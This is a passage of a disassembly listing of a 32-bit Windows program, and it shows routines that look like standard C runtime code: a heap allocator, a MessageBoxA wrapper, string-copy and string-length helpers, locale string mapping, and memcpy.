loc_40410E:				; CODE XREF: sub_4040BE+3Ej
		mov	eax, dword_4070F0
		mov	ebx, eax
		cmp	ebx, edi
		mov	[ebp+arg_0], ebx
		jnb	short loc_404135


loc_40411C:				; CODE XREF: sub_4040BE+75j
		mov	ecx, [ebx+4]
		mov	edi, [ebx]
		and	ecx, [ebp+var_8]
		and	edi, esi
		or	ecx, edi
		jnz	short loc_404135
		add	ebx, 14h
		cmp	ebx, [ebp+var_4]
		mov	[ebp+arg_0], ebx
		jb	short loc_40411C


loc_404135:				; CODE XREF: sub_4040BE+5Cj
					; sub_4040BE+6Aj
		cmp	ebx, [ebp+var_4]
		jnz	short loc_4041B3
		mov	ebx, edx


loc_40413C:				; CODE XREF: sub_4040BE+96j
		cmp	ebx, eax
		mov	[ebp+arg_0], ebx
		jnb	short loc_404158
		mov	ecx, [ebx+4]
		mov	edi, [ebx]
		and	ecx, [ebp+var_8]
		and	edi, esi
		or	ecx, edi
		jnz	short loc_404156
		add	ebx, 14h
		jmp	short loc_40413C
; ---------------------------------------------------------------------------


loc_404156:				; CODE XREF: sub_4040BE+91j
		cmp	ebx, eax


loc_404158:				; CODE XREF: sub_4040BE+83j
		jnz	short loc_4041B3


loc_40415A:				; CODE XREF: sub_4040BE+ADj
		cmp	ebx, [ebp+var_4]
		jnb	short loc_404170
		cmp	dword ptr [ebx+8], 0
		jnz	short loc_40416D
		add	ebx, 14h
		mov	[ebp+arg_0], ebx
		jmp	short loc_40415A
; ---------------------------------------------------------------------------


loc_40416D:				; CODE XREF: sub_4040BE+A5j
		cmp	ebx, [ebp+var_4]


loc_404170:				; CODE XREF: sub_4040BE+9Fj
		jnz	short loc_404198
		mov	ebx, edx


loc_404174:				; CODE XREF: sub_4040BE+C6j
		cmp	ebx, eax
		mov	[ebp+arg_0], ebx
		jnb	short loc_404188
		cmp	dword ptr [ebx+8], 0
		jnz	short loc_404186
		add	ebx, 14h
		jmp	short loc_404174
; ---------------------------------------------------------------------------


loc_404186:				; CODE XREF: sub_4040BE+C1j
		cmp	ebx, eax


loc_404188:				; CODE XREF: sub_4040BE+BBj
		jnz	short loc_404198
		call	sub_4043C7
		mov	ebx, eax
		test	ebx, ebx
		mov	[ebp+arg_0], ebx
		jz	short loc_4041AC


loc_404198:				; CODE XREF: sub_4040BE:loc_404170j
					; sub_4040BE:loc_404188j
		push	ebx
		call	sub_404478
		pop	ecx
		mov	ecx, [ebx+10h]
		mov	[ecx], eax
		mov	eax, [ebx+10h]
		cmp	dword ptr [eax], 0FFFFFFFFh
		jnz	short loc_4041B3


loc_4041AC:				; CODE XREF: sub_4040BE+D8j
		xor	eax, eax
		jmp	loc_4043C2
; ---------------------------------------------------------------------------


loc_4041B3:				; CODE XREF: sub_4040BE+7Aj
					; sub_4040BE:loc_404158j ...
		mov	dword_4070F0, ebx
		mov	eax, [ebx+10h]
		mov	edx, [eax]
		cmp	edx, 0FFFFFFFFh
		mov	[ebp+var_4], edx
		jz	short loc_4041DA
		mov	ecx, [eax+edx*4+0C4h]
		mov	edi, [eax+edx*4+44h]
		and	ecx, [ebp+var_8]
		and	edi, esi
		or	ecx, edi
		jnz	short loc_404211


loc_4041DA:				; CODE XREF: sub_4040BE+106j
		mov	edx, [eax+0C4h]
		mov	esi, [eax+44h]
		and	edx, [ebp+var_8]
		and	esi, [ebp+var_C]
		and	[ebp+var_4], 0
		lea	ecx, [eax+44h]
		or	edx, esi
		mov	esi, [ebp+var_C]
		jnz	short loc_40420E


loc_4041F7:				; CODE XREF: sub_4040BE+14Ej
		mov	edx, [ecx+84h]
		inc	[ebp+var_4]
		and	edx, [ebp+var_8]
		add	ecx, 4
		mov	edi, esi
		and	edi, [ecx]
		or	edx, edi
		jz	short loc_4041F7


loc_40420E:				; CODE XREF: sub_4040BE+137j
		mov	edx, [ebp+var_4]


loc_404211:				; CODE XREF: sub_4040BE+11Aj
		mov	ecx, edx
		xor	edi, edi
		imul	ecx, 204h
		lea	ecx, [ecx+eax+144h]
		mov	[ebp+var_C], ecx
		mov	ecx, [eax+edx*4+44h]
		and	ecx, esi
		jnz	short loc_40423A
		mov	ecx, [eax+edx*4+0C4h]
		push	20h
		and	ecx, [ebp+var_8]
		pop	edi


loc_40423A:				; CODE XREF: sub_4040BE+16Dj
					; sub_4040BE+183j
		test	ecx, ecx
		jl	short loc_404243
		shl	ecx, 1
		inc	edi
		jmp	short loc_40423A
; ---------------------------------------------------------------------------


loc_404243:				; CODE XREF: sub_4040BE+17Ej
		mov	ecx, [ebp+var_C]
		mov	edx, [ecx+edi*8+4]
		mov	ecx, [edx]
		sub	ecx, [ebp+var_10]
		mov	esi, ecx
		mov	[ebp+var_8], ecx
		sar	esi, 4
		dec	esi
		cmp	esi, 3Fh
		jle	short loc_404260
		push	3Fh
		pop	esi


loc_404260:				; CODE XREF: sub_4040BE+19Dj
		cmp	esi, edi
		jz	loc_404375
		mov	ecx, [edx+4]
		cmp	ecx, [edx+8]
		jnz	short loc_4042D1
		cmp	edi, 20h
		jge	short loc_4042A0
		mov	ebx, 80000000h
		mov	ecx, edi
		shr	ebx, cl
		mov	ecx, [ebp+var_4]
		lea	edi, [eax+edi+4]
		not	ebx
		mov	[ebp+var_14], ebx
		and	ebx, [eax+ecx*4+44h]
		mov	[eax+ecx*4+44h], ebx
		dec	byte ptr [edi]
		jnz	short loc_4042CE
		mov	ebx, [ebp+arg_0]
		mov	ecx, [ebp+var_14]
		and	[ebx], ecx
		jmp	short loc_4042D1
; ---------------------------------------------------------------------------


loc_4042A0:				; CODE XREF: sub_4040BE+1B5j
		lea	ecx, [edi-20h]
		mov	ebx, 80000000h
		shr	ebx, cl
		mov	ecx, [ebp+var_4]
		lea	edi, [eax+edi+4]
		lea	ecx, [eax+ecx*4+0C4h]
		not	ebx
		and	[ecx], ebx
		dec	byte ptr [edi]
		mov	[ebp+var_14], ebx
		jnz	short loc_4042CE
		mov	ebx, [ebp+arg_0]
		mov	ecx, [ebp+var_14]
		and	[ebx+4], ecx
		jmp	short loc_4042D1
; ---------------------------------------------------------------------------


loc_4042CE:				; CODE XREF: sub_4040BE+1D6j
					; sub_4040BE+203j
		mov	ebx, [ebp+arg_0]


loc_4042D1:				; CODE XREF: sub_4040BE+1B0j
					; sub_4040BE+1E0j ...
		mov	ecx, [edx+8]
		mov	edi, [edx+4]
		cmp	[ebp+var_8], 0
		mov	[ecx+4], edi
		mov	ecx, [edx+4]
		mov	edi, [edx+8]
		mov	[ecx+8], edi
		jz	loc_404381
		mov	ecx, [ebp+var_C]
		mov	edi, [ecx+esi*8+4]
		lea	ecx, [ecx+esi*8]
		mov	[edx+4], edi
		mov	[edx+8], ecx
		mov	[ecx+4], edx
		mov	ecx, [edx+4]
		mov	[ecx+8], edx
		mov	ecx, [edx+4]
		cmp	ecx, [edx+8]
		jnz	short loc_404372
		mov	cl, [esi+eax+4]
		cmp	esi, 20h
		mov	byte ptr [ebp+arg_0+3],	cl
		jge	short loc_404343
		inc	cl
		cmp	byte ptr [ebp+arg_0+3],	0
		mov	[esi+eax+4], cl
		jnz	short loc_404331
		mov	edi, 80000000h
		mov	ecx, esi
		shr	edi, cl
		or	[ebx], edi


loc_404331:				; CODE XREF: sub_4040BE+266j
		mov	edi, 80000000h
		mov	ecx, esi
		shr	edi, cl
		mov	ecx, [ebp+var_4]
		or	[eax+ecx*4+44h], edi
		jmp	short loc_404372
; ---------------------------------------------------------------------------


loc_404343:				; CODE XREF: sub_4040BE+25Aj
		inc	cl
		cmp	byte ptr [ebp+arg_0+3],	0
		mov	[esi+eax+4], cl
		jnz	short loc_40435C
		lea	ecx, [esi-20h]
		mov	edi, 80000000h
		shr	edi, cl
		or	[ebx+4], edi


loc_40435C:				; CODE XREF: sub_4040BE+28Fj
		mov	ecx, [ebp+var_4]
		lea	edi, [eax+ecx*4+0C4h]
		lea	ecx, [esi-20h]
		mov	esi, 80000000h
		shr	esi, cl
		or	[edi], esi


loc_404372:				; CODE XREF: sub_4040BE+24Ej
					; sub_4040BE+283j
		mov	ecx, [ebp+var_8]


loc_404375:				; CODE XREF: sub_4040BE+1A4j
		test	ecx, ecx
		jz	short loc_404384
		mov	[edx], ecx
		mov	[ecx+edx-4], ecx
		jmp	short loc_404384
; ---------------------------------------------------------------------------


loc_404381:				; CODE XREF: sub_4040BE+229j
		mov	ecx, [ebp+var_8]


loc_404384:				; CODE XREF: sub_4040BE+2B9j
					; sub_4040BE+2C1j
		mov	esi, [ebp+var_10]
		add	edx, ecx
		lea	ecx, [esi+1]
		mov	[edx], ecx
		mov	[edx+esi-4], ecx
		mov	esi, [ebp+var_C]
		mov	ecx, [esi]
		test	ecx, ecx
		lea	edi, [ecx+1]
		mov	[esi], edi
		jnz	short loc_4043BA
		cmp	ebx, dword_4070F4
		jnz	short loc_4043BA
		mov	ecx, [ebp+var_4]
		cmp	ecx, dword_4070EC
		jnz	short loc_4043BA
		and	dword_4070F4, 0


loc_4043BA:				; CODE XREF: sub_4040BE+2E0j
					; sub_4040BE+2E8j ...
		mov	ecx, [ebp+var_4]
		mov	[eax], ecx
		lea	eax, [edx+4]


loc_4043C2:				; CODE XREF: sub_4040BE+F0j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4040BE	endp


; =============== S U B	R O U T	I N E =======================================



sub_4043C7	proc near		; CODE XREF: sub_4040BE+CCp
		mov	eax, dword_4070F8
		mov	ecx, dword_4070E8
		push	esi
		push	edi
		xor	edi, edi
		cmp	eax, ecx
		jnz	short loc_40440A
		lea	eax, [ecx+ecx*4+50h]
		shl	eax, 2
		push	eax
		push	dword_4070FC
		push	edi
		push	dword_407328
		call	dword_405058	; RtlReAllocateHeap
		cmp	eax, edi
		jz	short loc_40445A
		add	dword_4070E8, 10h
		mov	dword_4070FC, eax
		mov	eax, dword_4070F8


loc_40440A:				; CODE XREF: sub_4043C7+11j
		mov	ecx, dword_4070FC
		push	41C4h
		push	8
		lea	eax, [eax+eax*4]
		push	dword_407328
		lea	esi, [ecx+eax*4]
		call	dword_405060	; RtlAllocateHeap
		cmp	eax, edi
		mov	[esi+10h], eax
		jz	short loc_40445A
		push	4
		push	2000h
		push	100000h
		push	edi
		call	dword_40505C	; VirtualAlloc
		cmp	eax, edi
		mov	[esi+0Ch], eax
		jnz	short loc_40445E
		push	dword ptr [esi+10h]
		push	edi
		push	dword_407328
		call	dword_405084	; RtlFreeHeap


loc_40445A:				; CODE XREF: sub_4043C7+30j
					; sub_4043C7+67j
		xor	eax, eax
		jmp	short loc_404475
; ---------------------------------------------------------------------------


loc_40445E:				; CODE XREF: sub_4043C7+81j
		or	dword ptr [esi+8], 0FFFFFFFFh
		mov	[esi], edi
		mov	[esi+4], edi
		inc	dword_4070F8
		mov	eax, [esi+10h]
		or	dword ptr [eax], 0FFFFFFFFh
		mov	eax, esi


loc_404475:				; CODE XREF: sub_4043C7+95j
		pop	edi
		pop	esi
		retn
sub_4043C7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_404478	proc near		; CODE XREF: sub_4040BE+DBp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	ecx, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		mov	esi, [ecx+10h]
		mov	eax, [ecx+8]
		xor	ebx, ebx


loc_40448A:				; CODE XREF: sub_404478+19j
		test	eax, eax
		jl	short loc_404493
		shl	eax, 1
		inc	ebx
		jmp	short loc_40448A
; ---------------------------------------------------------------------------


loc_404493:				; CODE XREF: sub_404478+14j
		mov	eax, ebx
		push	3Fh
		imul	eax, 204h
		pop	edx
		lea	eax, [eax+esi+144h]
		mov	[ebp+var_4], eax


loc_4044A8:				; CODE XREF: sub_404478+3Aj
		mov	[eax+8], eax
		mov	[eax+4], eax
		add	eax, 8
		dec	edx
		jnz	short loc_4044A8
		mov	edi, ebx
		push	4
		shl	edi, 0Fh
		add	edi, [ecx+0Ch]
		push	1000h
		push	8000h
		push	edi
		call	dword_40505C	; VirtualAlloc
		test	eax, eax
		jnz	short loc_4044DB
		or	eax, 0FFFFFFFFh
		jmp	loc_40456E
; ---------------------------------------------------------------------------


loc_4044DB:				; CODE XREF: sub_404478+59j
		lea	edx, [edi+7000h]
		cmp	edi, edx
		ja	short loc_404521
		lea	eax, [edi+10h]


loc_4044E8:				; CODE XREF: sub_404478+A7j
		or	dword ptr [eax-8], 0FFFFFFFFh
		or	dword ptr [eax+0FECh], 0FFFFFFFFh
		lea	ecx, [eax+0FFCh]
		mov	dword ptr [eax-4], 0FF0h
		mov	[eax], ecx
		lea	ecx, [eax-1004h]
		mov	[eax+4], ecx
		mov	dword ptr [eax+0FE8h], 0FF0h
		add	eax, 1000h
		lea	ecx, [eax-10h]
		cmp	ecx, edx
		jbe	short loc_4044E8


loc_404521:				; CODE XREF: sub_404478+6Bj
		mov	eax, [ebp+var_4]
		lea	ecx, [edi+0Ch]
		add	eax, 1F8h
		push	1
		pop	edi
		mov	[eax+4], ecx
		mov	[ecx+8], eax
		lea	ecx, [edx+0Ch]
		mov	[eax+8], ecx
		mov	[ecx+4], eax
		and	dword ptr [esi+ebx*4+44h], 0
		mov	[esi+ebx*4+0C4h], edi
		mov	al, [esi+43h]
		mov	cl, al
		inc	cl
		test	al, al
		mov	eax, [ebp+arg_0]
		mov	[esi+43h], cl
		jnz	short loc_40455E
		or	[eax+4], edi


loc_40455E:				; CODE XREF: sub_404478+E1j
		mov	edx, 80000000h
		mov	ecx, ebx
		shr	edx, cl
		not	edx
		and	[eax+8], edx
		mov	eax, ebx


loc_40456E:				; CODE XREF: sub_404478+5Ej
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_404478	endp


; =============== S U B	R O U T	I N E =======================================



sub_404573	proc near		; CODE XREF: sub_4035C9+11Fp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	ebx
		xor	ebx, ebx
		cmp	dword_4070B0, ebx
		push	esi
		push	edi
		jnz	short loc_4045C2
		push	offset aUser32_dll ; "user32.dll"
		call	dword_405014	; LoadLibraryA
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_4045F8
		mov	esi, dword_405054
		push	offset aMessageboxa ; "MessageBoxA"
		push	edi
		call	esi	; GetProcAddress
		test	eax, eax
		mov	dword_4070B0, eax
		jz	short loc_4045F8
		push	offset aGetactivewindo ; "GetActiveWindow"
		push	edi
		call	esi	; GetProcAddress
		push	offset aGetlastactivep ; "GetLastActivePopup"
		push	edi
		mov	dword_4070B4, eax
		call	esi	; GetProcAddress
		mov	dword_4070B8, eax


loc_4045C2:				; CODE XREF: sub_404573+Bj
		mov	eax, dword_4070B4
		test	eax, eax
		jz	short loc_4045E1
		call	eax	; GetActiveWindow
		mov	ebx, eax
		test	ebx, ebx
		jz	short loc_4045E1
		mov	eax, dword_4070B8
		test	eax, eax
		jz	short loc_4045E1
		push	ebx
		call	eax	; GetLastActivePopup
		mov	ebx, eax


loc_4045E1:				; CODE XREF: sub_404573+56j
					; sub_404573+5Ej ...
		push	[esp+0Ch+arg_8]
		push	[esp+10h+arg_4]
		push	[esp+14h+arg_0]
		push	ebx
		call	dword_4070B0	; MessageBoxA


loc_4045F4:				; CODE XREF: sub_404573+87j
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_4045F8:				; CODE XREF: sub_404573+1Cj
					; sub_404573+33j
		xor	eax, eax
		jmp	short loc_4045F4
sub_404573	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_404600	proc near		; CODE XREF: sub_4035C9+C5p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	ecx, [esp+arg_8]
		push	edi
		test	ecx, ecx
		jz	short loc_404683
		push	esi
		push	ebx
		mov	ebx, ecx
		mov	esi, [esp+0Ch+arg_4]
		test	esi, 3
		mov	edi, [esp+0Ch+arg_0]
		jnz	short loc_404624
		shr	ecx, 2
		jnz	short loc_404691
		jmp	short loc_404645
; ---------------------------------------------------------------------------


loc_404624:				; CODE XREF: sub_404600+1Bj
					; sub_404600+37j
		mov	al, [esi]
		inc	esi
		mov	[edi], al
		inc	edi
		dec	ecx
		jz	short loc_404652
		test	al, al
		jz	short loc_40465A
		test	esi, 3
		jnz	short loc_404624
		mov	ebx, ecx
		shr	ecx, 2
		jnz	short loc_404691


loc_404640:				; CODE XREF: sub_404600+8Fj
		and	ebx, 3
		jz	short loc_404652


loc_404645:				; CODE XREF: sub_404600+22j
					; sub_404600+50j
		mov	al, [esi]
		inc	esi
		mov	[edi], al
		inc	edi
		test	al, al
		jz	short loc_40467E
		dec	ebx
		jnz	short loc_404645


loc_404652:				; CODE XREF: sub_404600+2Bj
					; sub_404600+43j
		mov	eax, [esp+0Ch+arg_0]
		pop	ebx
		pop	esi
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_40465A:				; CODE XREF: sub_404600+2Fj
		test	edi, 3
		jz	short loc_404674


loc_404662:				; CODE XREF: sub_404600+72j
		mov	[edi], al
		inc	edi
		dec	ecx
		jz	loc_4046F6
		test	edi, 3
		jnz	short loc_404662


loc_404674:				; CODE XREF: sub_404600+60j
		mov	ebx, ecx
		shr	ecx, 2
		jnz	short loc_4046E7


loc_40467B:				; CODE XREF: sub_404600+7Fj
					; sub_404600+F4j
		mov	[edi], al
		inc	edi


loc_40467E:				; CODE XREF: sub_404600+4Dj
		dec	ebx
		jnz	short loc_40467B
		pop	ebx
		pop	esi


loc_404683:				; CODE XREF: sub_404600+7j
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_404689:				; CODE XREF: sub_404600+A9j
					; sub_404600+C1j
		mov	[edi], edx
		add	edi, 4
		dec	ecx
		jz	short loc_404640


loc_404691:				; CODE XREF: sub_404600+20j
					; sub_404600+3Ej
		mov	edx, 7EFEFEFFh
		mov	eax, [esi]
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		mov	edx, [esi]
		add	esi, 4
		test	eax, 81010100h
		jz	short loc_404689
		test	dl, dl
		jz	short loc_4046DB
		test	dh, dh
		jz	short loc_4046D1
		test	edx, 0FF0000h
		jz	short loc_4046C7
		test	edx, 0FF000000h
		jnz	short loc_404689
		mov	[edi], edx
		jmp	short loc_4046DF
; ---------------------------------------------------------------------------


loc_4046C7:				; CODE XREF: sub_404600+B9j
		and	edx, 0FFFFh
		mov	[edi], edx
		jmp	short loc_4046DF
; ---------------------------------------------------------------------------


loc_4046D1:				; CODE XREF: sub_404600+B1j
		and	edx, 0FFh
		mov	[edi], edx
		jmp	short loc_4046DF
; ---------------------------------------------------------------------------


loc_4046DB:				; CODE XREF: sub_404600+ADj
		xor	edx, edx
		mov	[edi], edx


loc_4046DF:				; CODE XREF: sub_404600+C5j
					; sub_404600+CFj ...
		add	edi, 4
		xor	eax, eax
		dec	ecx
		jz	short loc_4046F1


loc_4046E7:				; CODE XREF: sub_404600+79j
		xor	eax, eax


loc_4046E9:				; CODE XREF: sub_404600+EFj
		mov	[edi], eax
		add	edi, 4
		dec	ecx
		jnz	short loc_4046E9


loc_4046F1:				; CODE XREF: sub_404600+E5j
		and	ebx, 3
		jnz	short loc_40467B


loc_4046F6:				; CODE XREF: sub_404600+66j
		mov	eax, [esp+0Ch+arg_0]
		pop	ebx
		pop	esi
		pop	edi
		retn
sub_404600	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4046FE	proc near		; CODE XREF: sub_403AE6+BEp
					; sub_403AE6+E6p

var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_405470
		push	offset sub_4034B8
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 1Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		xor	edi, edi
		cmp	dword_4070DC, edi
		jnz	short loc_404774
		push	edi
		push	edi
		push	1
		pop	ebx
		push	ebx
		push	offset dword_405424
		mov	esi, 100h
		push	esi
		push	edi
		call	dword_405098	; LCMapStringW
		test	eax, eax
		jz	short loc_404752
		mov	dword_4070DC, ebx
		jmp	short loc_404774
; ---------------------------------------------------------------------------


loc_404752:				; CODE XREF: sub_4046FE+4Aj
		push	edi
		push	edi
		push	ebx
		push	offset dword_406F38
		push	esi
		push	edi
		call	dword_40509C	; LCMapStringA
		test	eax, eax
		jz	loc_40488C
		mov	dword_4070DC, 2


loc_404774:				; CODE XREF: sub_4046FE+2Ej
					; sub_4046FE+52j
		cmp	[ebp+arg_C], edi
		jle	short loc_404789
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		call	sub_404922
		pop	ecx
		pop	ecx
		mov	[ebp+arg_C], eax


loc_404789:				; CODE XREF: sub_4046FE+79j
		mov	eax, dword_4070DC
		cmp	eax, 2
		jnz	short loc_4047B0
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	dword_40509C	; LCMapStringA
		jmp	loc_40488E
; ---------------------------------------------------------------------------


loc_4047B0:				; CODE XREF: sub_4046FE+93j
		cmp	eax, 1
		jnz	loc_40488C
		cmp	[ebp+arg_18], edi
		jnz	short loc_4047C6
		mov	eax, dword_4070D4
		mov	[ebp+arg_18], eax


loc_4047C6:				; CODE XREF: sub_4046FE+BEj
		push	edi
		push	edi
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		mov	eax, [ebp+arg_1C]
		neg	eax
		sbb	eax, eax
		and	eax, 8
		inc	eax
		push	eax
		push	[ebp+arg_18]
		call	dword_405078	; MultiByteToWideChar
		mov	ebx, eax
		mov	[ebp+var_1C], ebx
		cmp	ebx, edi
		jz	loc_40488C
		mov	[ebp+var_4], edi
		lea	eax, [ebx+ebx]
		add	eax, 3
		and	al, 0FCh
		call	sub_4025D0
		mov	[ebp+var_18], esp
		mov	eax, esp
		mov	[ebp+var_24], eax
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_404821
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	edi, edi
		mov	[ebp+var_24], edi
		or	[ebp+var_4], 0FFFFFFFFh
		mov	ebx, [ebp+var_1C]


loc_404821:				; CODE XREF: sub_4046FE+10Ej
		cmp	[ebp+var_24], edi
		jz	short loc_40488C
		push	ebx
		push	[ebp+var_24]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	1
		push	[ebp+arg_18]
		call	dword_405078	; MultiByteToWideChar
		test	eax, eax
		jz	short loc_40488C
		push	edi
		push	edi
		push	ebx
		push	[ebp+var_24]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	dword_405098	; LCMapStringW
		mov	esi, eax
		mov	[ebp+var_28], esi
		cmp	esi, edi
		jz	short loc_40488C
		test	byte ptr [ebp+arg_4+1],	4
		jz	short loc_4048A0
		cmp	[ebp+arg_14], edi
		jz	loc_40491B
		cmp	esi, [ebp+arg_14]
		jg	short loc_40488C
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	ebx
		push	[ebp+var_24]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	dword_405098	; LCMapStringW
		test	eax, eax
		jnz	loc_40491B


loc_40488C:				; CODE XREF: sub_4046FE+66j
					; sub_4046FE+B5j ...
		xor	eax, eax


loc_40488E:				; CODE XREF: sub_4046FE+ADj
					; sub_4046FE+21Fj
		lea	esp, [ebp-38h]
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_4048A0:				; CODE XREF: sub_4046FE+160j
		mov	[ebp+var_4], 1
		lea	eax, [esi+esi]
		add	eax, 3
		and	al, 0FCh
		call	sub_4025D0
		mov	[ebp+var_18], esp
		mov	ebx, esp
		mov	[ebp+var_20], ebx
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_4048D4
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	edi, edi
		xor	ebx, ebx
		or	[ebp+var_4], 0FFFFFFFFh
		mov	esi, [ebp+var_28]


loc_4048D4:				; CODE XREF: sub_4046FE+1C2j
		cmp	ebx, edi
		jz	short loc_40488C
		push	esi
		push	ebx
		push	[ebp+var_1C]
		push	[ebp+var_24]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	dword_405098	; LCMapStringW
		test	eax, eax
		jz	short loc_40488C
		cmp	[ebp+arg_14], edi
		push	edi
		push	edi
		jnz	short loc_4048FB
		push	edi
		push	edi
		jmp	short loc_404901
; ---------------------------------------------------------------------------


loc_4048FB:				; CODE XREF: sub_4046FE+1F7j
		push	[ebp+arg_14]
		push	[ebp+arg_10]


loc_404901:				; CODE XREF: sub_4046FE+1FBj
		push	esi
		push	ebx
		push	220h
		push	[ebp+arg_18]
		call	dword_4050C8	; WideCharToMultiByte
		mov	esi, eax
		cmp	esi, edi
		jz	loc_40488C


loc_40491B:				; CODE XREF: sub_4046FE+165j
					; sub_4046FE+188j
		mov	eax, esi
		jmp	loc_40488E
sub_4046FE	endp


; =============== S U B	R O U T	I N E =======================================



sub_404922	proc near		; CODE XREF: sub_4046FE+81p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	edx, [esp+arg_4]
		mov	eax, [esp+arg_0]
		test	edx, edx
		push	esi
		lea	ecx, [edx-1]
		jz	short loc_40493F


loc_404932:				; CODE XREF: sub_404922+1Bj
		cmp	byte ptr [eax],	0
		jz	short loc_40493F
		inc	eax
		mov	esi, ecx
		dec	ecx
		test	esi, esi
		jnz	short loc_404932


loc_40493F:				; CODE XREF: sub_404922+Ej
					; sub_404922+13j
		cmp	byte ptr [eax],	0
		pop	esi
		jnz	short loc_40494A
		sub	eax, [esp+arg_0]
		retn
; ---------------------------------------------------------------------------


loc_40494A:				; CODE XREF: sub_404922+21j
		mov	eax, edx
		retn
sub_404922	endp


; =============== S U B	R O U T	I N E =======================================



sub_40494D	proc near		; CODE XREF: sub_403CC8+1Fp

arg_0		= dword	ptr  4

		mov	eax, dword_4070E4
		test	eax, eax
		jz	short loc_404965
		push	[esp+arg_0]
		call	eax
		test	eax, eax
		pop	ecx
		jz	short loc_404965
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------


loc_404965:				; CODE XREF: sub_40494D+7j
					; sub_40494D+12j
		xor	eax, eax
		retn
sub_40494D	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_404970	proc near		; CODE XREF: sub_403D93+2EEp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		mov	esi, [ebp+arg_4]
		mov	ecx, [ebp+arg_8]
		mov	edi, [ebp+arg_0]
		mov	eax, ecx
		mov	edx, ecx
		add	eax, esi
		cmp	edi, esi
		jbe	short loc_404990
		cmp	edi, eax
		jb	loc_404B08


loc_404990:				; CODE XREF: sub_404970+16j
		test	edi, 3
		jnz	short loc_4049AC
		shr	ecx, 2
		and	edx, 3
		cmp	ecx, 8
		jb	short loc_4049CC
		rep movsd
		jmp	off_404AB8[edx*4]
; ---------------------------------------------------------------------------


loc_4049AC:				; CODE XREF: sub_404970+26j
		mov	eax, edi
		mov	edx, 3
		sub	ecx, 4
		jb	short loc_4049C4
		and	eax, 3
		add	ecx, eax
		jmp	dword ptr loc_4049CC+4[eax*4]
; ---------------------------------------------------------------------------


loc_4049C4:				; CODE XREF: sub_404970+46j
		jmp	dword ptr loc_404AC8[ecx*4]
; ---------------------------------------------------------------------------
		align 4


loc_4049CC:				; CODE XREF: sub_404970+31j
					; sub_404970+8Ej ...
		jmp	off_404A4C[ecx*4]
; ---------------------------------------------------------------------------
		align 4
		dd offset loc_4049E0
		dd offset loc_404A0C
		dd offset loc_404A30
; ---------------------------------------------------------------------------


loc_4049E0:				; DATA XREF: sub_404970+64o
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	al, [esi+2]
		shr	ecx, 2
		mov	[edi+2], al
		add	esi, 3
		add	edi, 3
		cmp	ecx, 8
		jb	short loc_4049CC
		rep movsd
		jmp	off_404AB8[edx*4]
; ---------------------------------------------------------------------------
		align 4


loc_404A0C:				; DATA XREF: sub_404970+68o
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		shr	ecx, 2
		mov	[edi+1], al
		add	esi, 2
		add	edi, 2
		cmp	ecx, 8
		jb	short loc_4049CC
		rep movsd
		jmp	off_404AB8[edx*4]
; ---------------------------------------------------------------------------
		align 10h


loc_404A30:				; DATA XREF: sub_404970+6Co
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		inc	esi
		shr	ecx, 2
		inc	edi
		cmp	ecx, 8
		jb	short loc_4049CC
		rep movsd
		jmp	off_404AB8[edx*4]
; ---------------------------------------------------------------------------
		align 4
